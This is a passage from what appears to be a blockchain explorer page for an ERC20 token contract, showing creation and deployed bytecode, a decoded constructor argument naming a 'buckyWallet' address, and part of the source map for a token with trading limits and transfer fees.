b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610d9b8484610bca565b905060001981146108d25781811015610df65760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610852565b6108d28484848403610c6b565b6001600160a01b038316610e295760405162461bcd60e51b815260040161085290611bb8565b6001600160a01b038216610e4f5760405162461bcd60e51b815260040161085290611bfd565b60008111610eb85760405162461bcd60e51b815260206004820152603060248201527f45524332303a205472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b6064820152608401610852565b80600003610ed157610ecc83836000611779565b505050565b6001600160a01b03831660009081526015602052604081205460ff16158015610f1357506001600160a01b03831660009081526015602052604090205460ff16155b9050610f276005546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610f5657506005546001600160a01b03848116911614155b8015610f6a57506001600160a01b03831615155b8015610f8157506001600160a01b03831661dead14155b8015610f975750600854600160a01b900460ff16155b156112aa57600d5460ff1661102a576001600160a01b03841660009081526013602052604090205460ff1680610fe557506001600160a01b03831660009081526013602052604090205460ff165b61102a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610852565b6001600160a01b03841660009081526015602052604090205460ff16801561106b57506001600160a01b03831660009081526014602052604090205460ff16155b1561116457600a548211156110e05760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610852565b600b546001600160a01b0384166000908152602081905260409020546111069084611b36565b111561114a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610852565b6010805490600061115a83611c40565b91905055506112aa565b6001600160a01b03831660009081526015602052604090205460ff1680156111a557506001600160a01b03841660009081526014602052604090205460ff16155b1561122057600a5482111561121b5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610852565b6112aa565b6001600160a01b03831660009081526014602052604090205460ff166112aa57600b546001600160a01b0384166000908152602081905260409020546112669084611b36565b11156112aa5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610852565b6000811580156112e657506001600160a01b038086166000908152601560205260409020546008546009546112e693899360ff169216906118a3565b90508080156112ff5750600854600160a01b900460ff16155b801561132457506001600160a01b03851660009081526015602052604090205460ff16155b801561134957506001600160a01b03851660009081526013602052604090205460ff16155b801561136e57506001600160a01b03841660009081526013602052604090205460ff16155b1561139d576008805460ff60a01b1916600160a01b17905561138f836118b6565b6008805460ff60a01b191690555b600854600090600160a01b900460ff161580156113b8575082155b6001600160a01b03871660009081526013602052604090205490915060ff16806113fa57506001600160a01b03851660009081526013602052604090205460ff165b15611403575060005b600081156114a5576001600160a01b03861660009081526015602052604090205460ff161561145f576114586064611452601154601054116114475760125461144b565b600f545b8890611912565b90611925565b9050611487565b61148460646114526011546010541161147a5760125461144b565b600e548890611912565b90505b801561149857611498873083611779565b6114a28186611c59565b94505b6114b0878787611779565b50505050505050565b6005546001600160a01b031633146108ea5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610852565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260156020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106115ee576115ee611c6c565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561166c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116909190611c82565b816001815181106116a3576116a3611c6c565b60200260200101906001600160a01b031690816001600160a01b0316815250506116ee307f000000000000000000000000000000000000000000000000000000000000000084610c6b565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611743908590600090869030904290600401611c9f565b600060405180830381600087803b15801561175d57600080fd5b505af1158015611771573d6000803e3d6000fd5b505050505050565b6001600160a01b03831661179f5760405162461bcd60e51b815260040161085290611bb8565b6001600160a01b0382166117c55760405162461bcd60e51b815260040161085290611bfd565b6001600160a01b0383166000908152602081905260409020548181101561183d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610852565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36108d2565b6000831561073e5761073e858484610c6b565b306000908152602081905260408120549081158015906118d75750600c5482105b156118e35750806118f9565b600c548311156118f65750600c546118f9565b50815b811561190857611908816115b9565b476108d281611931565b600061191e8284611b7f565b9392505050565b600061191e8284611b96565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109af573d6000803e3d6000fd5b600060208083528351808285015260005b818110156119985785810183015185820160400152820161197c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a4857600080fd5b600080604083850312156119e157600080fd5b82356119ec816119b9565b946020939093013593505050565b600080600060608486031215611a0f57600080fd5b8335611a1a816119b9565b92506020840135611a2a816119b9565b929592945050506040919091013590565b600060208284031215611a4d57600080fd5b813561191e816119b9565b8015158114610a4857600080fd5b60008060408385031215611a7957600080fd5b8235611a84816119b9565b91506020830135611a9481611a58565b809150509250929050565b600060208284031215611ab157600080fd5b5035919050565b60008060408385031215611acb57600080fd5b8235611ad6816119b9565b91506020830135611a94816119b9565b600181811c90821680611afa57607f821691505b602082108103611b1a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561071f5761071f611b20565b600060208284031215611b5b57600080fd5b5051919050565b600060208284031215611b7457600080fd5b815161191e81611a58565b808202811582820484141761071f5761071f611b20565b600082611bb357634e487b7160e01b600052601260045260246000fd5b500490565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600060018201611c5257611c52611b20565b5060010190565b8181038181111561071f5761071f611b20565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611c9457600080fd5b815161191e816119b9565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cef5784516001600160a01b031683529383019391830191600101611cca565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220c9d3f8297025129b7a5d1fe559f0600826e0392541ffb7cf10ef5bc89804edd164736f6c63430008130033000000000000000000000000b18addcb86fa5fd9881d1dbff9453ca4d11298bb
Deployed Bytecode
0x6080604052600436106102135760003560e01c80638da5cb5b11610118578063c8c8ebe4116100a0578063e2f456051161006f578063e2f45605146105fd578063f2fde38b14610613578063f8b45b0514610633578063fad266fe14610649578063ffb54a991461065f57600080fd5b8063c8c8ebe41461059b578063cf9522fd146105b1578063dd62ed3e146105c7578063dd854652146105e757600080fd5b80639e71e374116100e75780639e71e37414610506578063a457c2d71461051b578063a9059cbb1461053b578063afa4f3b21461055b578063b70143c91461057b57600080fd5b80638da5cb5b1461049d57806395d89b41146104bb5780639a7a23d6146104d05780639c00316e146104f057600080fd5b8063432805111161019b578063583e05681161016a578063583e0568146103e95780635f54cc521461041d57806370a082311461043d578063715018a614610473578063751039fc1461048857600080fd5b8063432805111461035957806349bd5a5e146103705780634b9e22f3146103905780634fbee193146103b057600080fd5b806323b872dd116101e257806323b872dd146102af5780632e4d01fc146102cf5780632ed10042146102e5578063313ce5671461031d578063395093511461033957600080fd5b8063047fc9aa1461021f57806306fdde0314610248578063095ea7b31461026a57806318160ddd1461029a57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b5061023560095481565b6040519081526020015b60405180910390f35b34801561025457600080fd5b5061025d610679565b60405161023f919061196b565b34801561027657600080fd5b5061028a6102853660046119ce565b61070b565b604051901515815260200161023f565b3480156102a657600080fd5b50600254610235565b3480156102bb57600080fd5b5061028a6102ca3660046119fa565b610725565b3480156102db57600080fd5b5061023560115481565b3480156102f157600080fd5b50600854610305906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b34801561032957600080fd5b506040516012815260200161023f565b34801561034557600080fd5b5061028a6103543660046119ce565b610749565b34801561036557600080fd5b5061036e61076b565b005b34801561037c57600080fd5b50600654610305906001600160a01b031681565b34801561039c57600080fd5b5061036e6103ab366004611a3b565b610782565b3480156103bc57600080fd5b5061028a6103cb366004611a3b565b6001600160a01b031660009081526013602052604090205460ff1690565b3480156103f557600080fd5b506103057f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561042957600080fd5b50600754610305906001600160a01b031681565b34801561044957600080fd5b50610235610458366004611a3b565b6001600160a01b031660009081526020819052604090205490565b34801561047f57600080fd5b5061036e6108d8565b34801561049457600080fd5b5061036e6108ec565b3480156104a957600080fd5b506005546001600160a01b0316610305565b3480156104c757600080fd5b5061025d61090a565b3480156104dc57600080fd5b5061036e6104eb366004611a66565b610919565b3480156104fc57600080fd5b5061023560125481565b34801561051257600080fd5b5061036e6109b3565b34801561052757600080fd5b5061028a6105363660046119ce565b610a4b565b34801561054757600080fd5b5061028a6105563660046119ce565b610ac6565b34801561056757600080fd5b5061036e610576366004611a9f565b610ad4565b34801561058757600080fd5b5061036e610596366004611a9f565b610af4565b3480156105a757600080fd5b50610235600a5481565b3480156105bd57600080fd5b50610235600f5481565b3480156105d357600080fd5b506102356105e2366004611ab8565b610bca565b3480156105f357600080fd5b50610235600e5481565b34801561060957600080fd5b50610235600c5481565b34801561061f57600080fd5b5061036e61062e366004611a3b565b610bf5565b34801561063f57600080fd5b50610235600b5481565b34801561065557600080fd5b5061023560105481565b34801561066b57600080fd5b50600d5461028a9060ff1681565b60606003805461068890611ae6565b80601f01602080910402602001604051908101604052809291908181526020018280546106b490611ae6565b80156107015780601f106106d657610100808354040283529160200191610701565b820191906000526020600020905b8154815290600101906020018083116106e457829003601f168201915b5050505050905090565b600033610719818585610c6b565b60019150505b92915050565b600033610733858285610d8f565b61073e858585610e03565b506001949350505050565b60003361071981858561075c8383610bca565b6107669190611b36565b610c6b565b6107736114b9565b600d805460ff19166001179055565b6007546001600160a01b0316336001600160a01b0316146107a257600080fd5b6040516370a0823160e01b815230600482015281906000906001600160a01b038316906370a0823190602401602060405180830381865afa1580156107eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080f9190611b49565b90506000811161085b5760405162461bcd60e51b81526020600482015260126024820152712737903a37b5b2b739903a379031b632b0b960711b60448201526064015b60405180910390fd5b60075460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af11580156108ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d29190611b62565b50505050565b6108e06114b9565b6108ea6000611513565b565b6108f46114b9565b60006108ff60025490565b600a819055600b5550565b60606004805461068890611ae6565b6109216114b9565b6006546001600160a01b03908116908316036109a55760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610852565b6109af8282611565565b5050565b6007546001600160a01b0316336001600160a01b0316146109d357600080fd5b60004711610a1c5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610852565b60405133904780156108fc02916000818181858888f19350505050158015610a48573d6000803e3d6000fd5b50565b60003381610a598286610bca565b905083811015610ab95760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610852565b61073e8286868403610c6b565b600033610719818585610e03565b610adc6114b9565b610aee81670de0b6b3a7640000611b7f565b600c5550565b6007546001600160a01b0316336001600160a01b031614610b1457600080fd5b6000610b1f60025490565b306000908152602081905260408120549192506064849003610b42575080610b65565b6064610b4e8585611b7f565b610b589190611b96565b905081811115610b655750805b81811115610bc15760405162461bcd60e51b8152602060048201526024808201527f5377617020616d6f756e74206578636565647320636f6e74726163742062616c604482015263616e636560e01b6064820152608401610852565b6108d2816115b9565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610bfd6114b9565b6001600160a01b038116610c625760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610852565b610a4881611513565b6001600160a01b038316610ccd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610852565b6001600160a01b038216610d2e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610852565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610d9b8484610bca565b905060001981146108d25781811015610df65760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610852565b6108d28484848403610c6b565b6001600160a01b038316610e295760405162461bcd60e51b815260040161085290611bb8565b6001600160a01b038216610e4f5760405162461bcd60e51b815260040161085290611bfd565b60008111610eb85760405162461bcd60e51b815260206004820152603060248201527f45524332303a205472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b6064820152608401610852565b80600003610ed157610ecc83836000611779565b505050565b6001600160a01b03831660009081526015602052604081205460ff16158015610f1357506001600160a01b03831660009081526015602052604090205460ff16155b9050610f276005546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610f5657506005546001600160a01b03848116911614155b8015610f6a57506001600160a01b03831615155b8015610f8157506001600160a01b03831661dead14155b8015610f975750600854600160a01b900460ff16155b156112aa57600d5460ff1661102a576001600160a01b03841660009081526013602052604090205460ff1680610fe557506001600160a01b03831660009081526013602052604090205460ff165b61102a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610852565b6001600160a01b03841660009081526015602052604090205460ff16801561106b57506001600160a01b03831660009081526014602052604090205460ff16155b1561116457600a548211156110e05760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610852565b600b546001600160a01b0384166000908152602081905260409020546111069084611b36565b111561114a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610852565b6010805490600061115a83611c40565b91905055506112aa565b6001600160a01b03831660009081526015602052604090205460ff1680156111a557506001600160a01b03841660009081526014602052604090205460ff16155b1561122057600a5482111561121b5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610852565b6112aa565b6001600160a01b03831660009081526014602052604090205460ff166112aa57600b546001600160a01b0384166000908152602081905260409020546112669084611b36565b11156112aa5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610852565b6000811580156112e657506001600160a01b038086166000908152601560205260409020546008546009546112e693899360ff169216906118a3565b90508080156112ff5750600854600160a01b900460ff16155b801561132457506001600160a01b03851660009081526015602052604090205460ff16155b801561134957506001600160a01b03851660009081526013602052604090205460ff16155b801561136e57506001600160a01b03841660009081526013602052604090205460ff16155b1561139d576008805460ff60a01b1916600160a01b17905561138f836118b6565b6008805460ff60a01b191690555b600854600090600160a01b900460ff161580156113b8575082155b6001600160a01b03871660009081526013602052604090205490915060ff16806113fa57506001600160a01b03851660009081526013602052604090205460ff165b15611403575060005b600081156114a5576001600160a01b03861660009081526015602052604090205460ff161561145f576114586064611452601154601054116114475760125461144b565b600f545b8890611912565b90611925565b9050611487565b61148460646114526011546010541161147a5760125461144b565b600e548890611912565b90505b801561149857611498873083611779565b6114a28186611c59565b94505b6114b0878787611779565b50505050505050565b6005546001600160a01b031633146108ea5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610852565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260156020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106115ee576115ee611c6c565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561166c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116909190611c82565b816001815181106116a3576116a3611c6c565b60200260200101906001600160a01b031690816001600160a01b0316815250506116ee307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610c6b565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611743908590600090869030904290600401611c9f565b600060405180830381600087803b15801561175d57600080fd5b505af1158015611771573d6000803e3d6000fd5b505050505050565b6001600160a01b03831661179f5760405162461bcd60e51b815260040161085290611bb8565b6001600160a01b0382166117c55760405162461bcd60e51b815260040161085290611bfd565b6001600160a01b0383166000908152602081905260409020548181101561183d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610852565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36108d2565b6000831561073e5761073e858484610c6b565b306000908152602081905260408120549081158015906118d75750600c5482105b156118e35750806118f9565b600c548311156118f65750600c546118f9565b50815b811561190857611908816115b9565b476108d281611931565b600061191e8284611b7f565b9392505050565b600061191e8284611b96565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109af573d6000803e3d6000fd5b600060208083528351808285015260005b818110156119985785810183015185820160400152820161197c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a4857600080fd5b600080604083850312156119e157600080fd5b82356119ec816119b9565b946020939093013593505050565b600080600060608486031215611a0f57600080fd5b8335611a1a816119b9565b92506020840135611a2a816119b9565b929592945050506040919091013590565b600060208284031215611a4d57600080fd5b813561191e816119b9565b8015158114610a4857600080fd5b60008060408385031215611a7957600080fd5b8235611a84816119b9565b91506020830135611a9481611a58565b809150509250929050565b600060208284031215611ab157600080fd5b5035919050565b60008060408385031215611acb57600080fd5b8235611ad6816119b9565b91506020830135611a94816119b9565b600181811c90821680611afa57607f821691505b602082108103611b1a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561071f5761071f611b20565b600060208284031215611b5b57600080fd5b5051919050565b600060208284031215611b7457600080fd5b815161191e81611a58565b808202811582820484141761071f5761071f611b20565b600082611bb357634e487b7160e01b600052601260045260246000fd5b500490565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600060018201611c5257611c52611b20565b5060010190565b8181038181111561071f5761071f611b20565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611c9457600080fd5b815161191e816119b9565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cef5784516001600160a01b031683529383019391830191600101611cca565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220c9d3f8297025129b7a5d1fe559f0600826e0392541ffb7cf10ef5bc89804edd164736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000b18addcb86fa5fd9881d1dbff9453ca4d11298bb
-----Decoded View---------------
Arg [0] : buckyWallet (address): 0xb18ADdCb86Fa5fD9881D1dbff9453Ca4d11298Bb
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000b18addcb86fa5fd9881d1dbff9453ca4d11298bb
Deployed Bytecode Sourcemap
12076:9059:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12513:42;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;12513:42:0;;;;;;;;7100:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;8032:201::-;;;;;;;;;;-1:-1:-1;8032:201:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;8032:201:0;1205:187:1;7421:108:0;;;;;;;;;;-1:-1:-1;7509:12:0;;7421:108;;8241:295;;;;;;;;;;-1:-1:-1;8241:295:0;;;;;:::i;:::-;;:::i;12869:33::-;;;;;;;;;;;;;;;;12286:24;;;;;;;;;;-1:-1:-1;12286:24:0;;;;-1:-1:-1;;;;;12286:24:0;;;;;;-1:-1:-1;;;;;2022:32:1;;;2004:51;;1992:2;1977:18;12286:24:0;1858:203:1;7320:93:0;;;;;;;;;;-1:-1:-1;7320:93:0;;7403:2;2208:36:1;;2196:2;2181:18;7320:93:0;2066:184:1;8544:238:0;;;;;;;;;;-1:-1:-1;8544:238:0;;;;;:::i;:::-;;:::i;14425:79::-;;;;;;;;;;;;;:::i;:::-;;12216:28;;;;;;;;;;-1:-1:-1;12216:28:0;;;;-1:-1:-1;;;;;12216:28:0;;;19172:350;;;;;;;;;;-1:-1:-1;19172:350:0;;;;;:::i;:::-;;:::i;15280:126::-;;;;;;;;;;-1:-1:-1;15280:126:0;;;;;:::i;:::-;-1:-1:-1;;;;;15370:28:0;15346:4;15370:28;;;:19;:28;;;;;;;;;15280:126;12157:52;;;;;;;;;;;;;;;12251:28;;;;;;;;;;-1:-1:-1;12251:28:0;;;;-1:-1:-1;;;;;12251:28:0;;;7537:127;;;;;;;;;;-1:-1:-1;7537:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7638:18:0;7611:7;7638:18;;;;;;;;;;;;7537:127;6176:103;;;;;;;;;;;;;:::i;18733:194::-;;;;;;;;;;;;;:::i;5941:87::-;;;;;;;;;;-1:-1:-1;6014:6:0;;-1:-1:-1;;;;;6014:6:0;5941:87;;7208:104;;;;;;;;;;;;;:::i;14836:242::-;;;;;;;;;;-1:-1:-1;14836:242:0;;;;;:::i;:::-;;:::i;12909:30::-;;;;;;;;;;;;;;;;18935:229;;;;;;;;;;;;;:::i;8790:436::-;;;;;;;;;;-1:-1:-1;8790:436:0;;;;;:::i;:::-;;:::i;7672:193::-;;;;;;;;;;-1:-1:-1;7672:193:0;;;;;:::i;:::-;;:::i;19530:127::-;;;;;;;;;;-1:-1:-1;19530:127:0;;;;;:::i;:::-;;:::i;19665:666::-;;;;;;;;;;-1:-1:-1;19665:666:0;;;;;:::i;:::-;;:::i;12562:54::-;;;;;;;;;;;;;;;;12802:26;;;;;;;;;;;;;;;;7873:151;;;;;;;;;;-1:-1:-1;7873:151:0;;;;;:::i;:::-;;:::i;12770:25::-;;;;;;;;;;;;;;;;12673:48;;;;;;;;;;;;;;;;6287:201;;;;;;;;;;-1:-1:-1;6287:201:0;;;;;:::i;:::-;;:::i;12623:43::-;;;;;;;;;;;;;;;;12835:27;;;;;;;;;;;;;;;;12730:31;;;;;;;;;;-1:-1:-1;12730:31:0;;;;;;;;7100:100;7154:13;7187:5;7180:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7100:100;:::o;8032:201::-;8115:4;345:10;8171:32;345:10;8187:7;8196:6;8171:8;:32::i;:::-;8221:4;8214:11;;;8032:201;;;;;:::o;8241:295::-;8372:4;345:10;8430:38;8446:4;345:10;8461:6;8430:15;:38::i;:::-;8479:27;8489:4;8495:2;8499:6;8479:9;:27::i;:::-;-1:-1:-1;8524:4:0;;8241:295;-1:-1:-1;;;;8241:295:0:o;8544:238::-;8632:4;345:10;8688:64;345:10;8704:7;8741:10;8713:25;345:10;8704:7;8713:9;:25::i;:::-;:38;;;;:::i;:::-;8688:8;:64::i;14425:79::-;5900:13;:11;:13::i;:::-;14478:11:::1;:18:::0;;-1:-1:-1;;14478:18:0::1;14492:4;14478:18;::::0;;14425:79::o;19172:350::-;19269:13;;-1:-1:-1;;;;;19269:13:0;345:10;-1:-1:-1;;;;;19253:29:0;;19245:38;;;;;;19366;;-1:-1:-1;;;19366:38:0;;19398:4;19366:38;;;2004:51:1;19324:12:0;;19294:20;;-1:-1:-1;;;;;19366:23:0;;;;;1977:18:1;;19366:38:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19348:56;;19433:1;19423:7;:11;19415:42;;;;-1:-1:-1;;;19415:42:0;;4866:2:1;19415:42:0;;;4848:21:1;4905:2;4885:18;;;4878:30;-1:-1:-1;;;4924:18:1;;;4917:48;4982:18;;19415:42:0;;;;;;;;;19491:13;;19468:46;;-1:-1:-1;;;19468:46:0;;-1:-1:-1;;;;;19491:13:0;;;19468:46;;;5185:51:1;5252:18;;;5245:34;;;19468:22:0;;;;;;5158:18:1;;19468:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;19234:288;;19172:350;:::o;6176:103::-;5900:13;:11;:13::i;:::-;6241:30:::1;6268:1;6241:18;:30::i;:::-;6176:103::o:0;18733:194::-;5900:13;:11;:13::i;:::-;18787:25:::1;18815:13;7509:12:::0;;;7421:108;18815:13:::1;18839:20;:40:::0;;;18890:9:::1;:29:::0;-1:-1:-1;18733:194:0:o;7208:104::-;7264:13;7297:7;7290:14;;;;;:::i;14836:242::-;5900:13;:11;:13::i;:::-;14943::::1;::::0;-1:-1:-1;;;;;14943:13:0;;::::1;14935:21:::0;;::::1;::::0;14927:91:::1;;;::::0;-1:-1:-1;;;14927:91:0;;5742:2:1;14927:91:0::1;::::0;::::1;5724:21:1::0;5781:2;5761:18;;;5754:30;5820:34;5800:18;;;5793:62;5891:27;5871:18;;;5864:55;5936:19;;14927:91:0::1;5540:421:1::0;14927:91:0::1;15029:41;15058:4;15064:5;15029:28;:41::i;:::-;14836:242:::0;;:::o;18935:229::-;19009:13;;-1:-1:-1;;;;;19009:13:0;345:10;-1:-1:-1;;;;;18993:29:0;;18985:38;;;;;;19066:1;19042:21;:25;19034:60;;;;-1:-1:-1;;;19034:60:0;;6168:2:1;19034:60:0;;;6150:21:1;6207:2;6187:18;;;6180:30;-1:-1:-1;;;6226:18:1;;;6219:52;6288:18;;19034:60:0;5966:346:1;19034:60:0;19105:51;;19113:10;;19134:21;19105:51;;;;;;;;;19134:21;19113:10;19105:51;;;;;;;;;;;;;;;;;;;;;18935:229::o;8790:436::-;8883:4;345:10;8883:4;8966:25;345:10;8983:7;8966:9;:25::i;:::-;8939:52;;9030:15;9010:16;:35;;9002:85;;;;-1:-1:-1;;;9002:85:0;;6519:2:1;9002:85:0;;;6501:21:1;6558:2;6538:18;;;6531:30;6597:34;6577:18;;;6570:62;-1:-1:-1;;;6648:18:1;;;6641:35;6693:19;;9002:85:0;6317:401:1;9002:85:0;9123:60;9132:5;9139:7;9167:15;9148:16;:34;9123:8;:60::i;7672:193::-;7751:4;345:10;7807:28;345:10;7824:2;7828:6;7807:9;:28::i;19530:127::-;5900:13;:11;:13::i;:::-;19629:20:::1;:7:::0;19640:8:::1;19629:20;:::i;:::-;19608:18;:41:::0;-1:-1:-1;19530:127:0:o;19665:666::-;19746:13;;-1:-1:-1;;;;;19746:13:0;345:10;-1:-1:-1;;;;;19730:29:0;;19722:38;;;;;;19771:25;19799:13;7509:12;;;7421:108;19799:13;19867:4;19823:23;7638:18;;;;;;;;;;;19771:41;;-1:-1:-1;19932:3:0;19921:14;;;19917:273;;-1:-1:-1;19967:15:0;19917:273;;;20060:3;20030:27;20050:7;20030:17;:27;:::i;:::-;:33;;;;:::i;:::-;20015:48;;20097:15;20082:12;:30;20078:101;;;-1:-1:-1;20148:15:0;20078:101;20226:15;20210:12;:31;;20202:80;;;;-1:-1:-1;;;20202:80:0;;7320:2:1;20202:80:0;;;7302:21:1;7359:2;7339:18;;;7332:30;7398:34;7378:18;;;7371:62;-1:-1:-1;;;7449:18:1;;;7442:34;7493:19;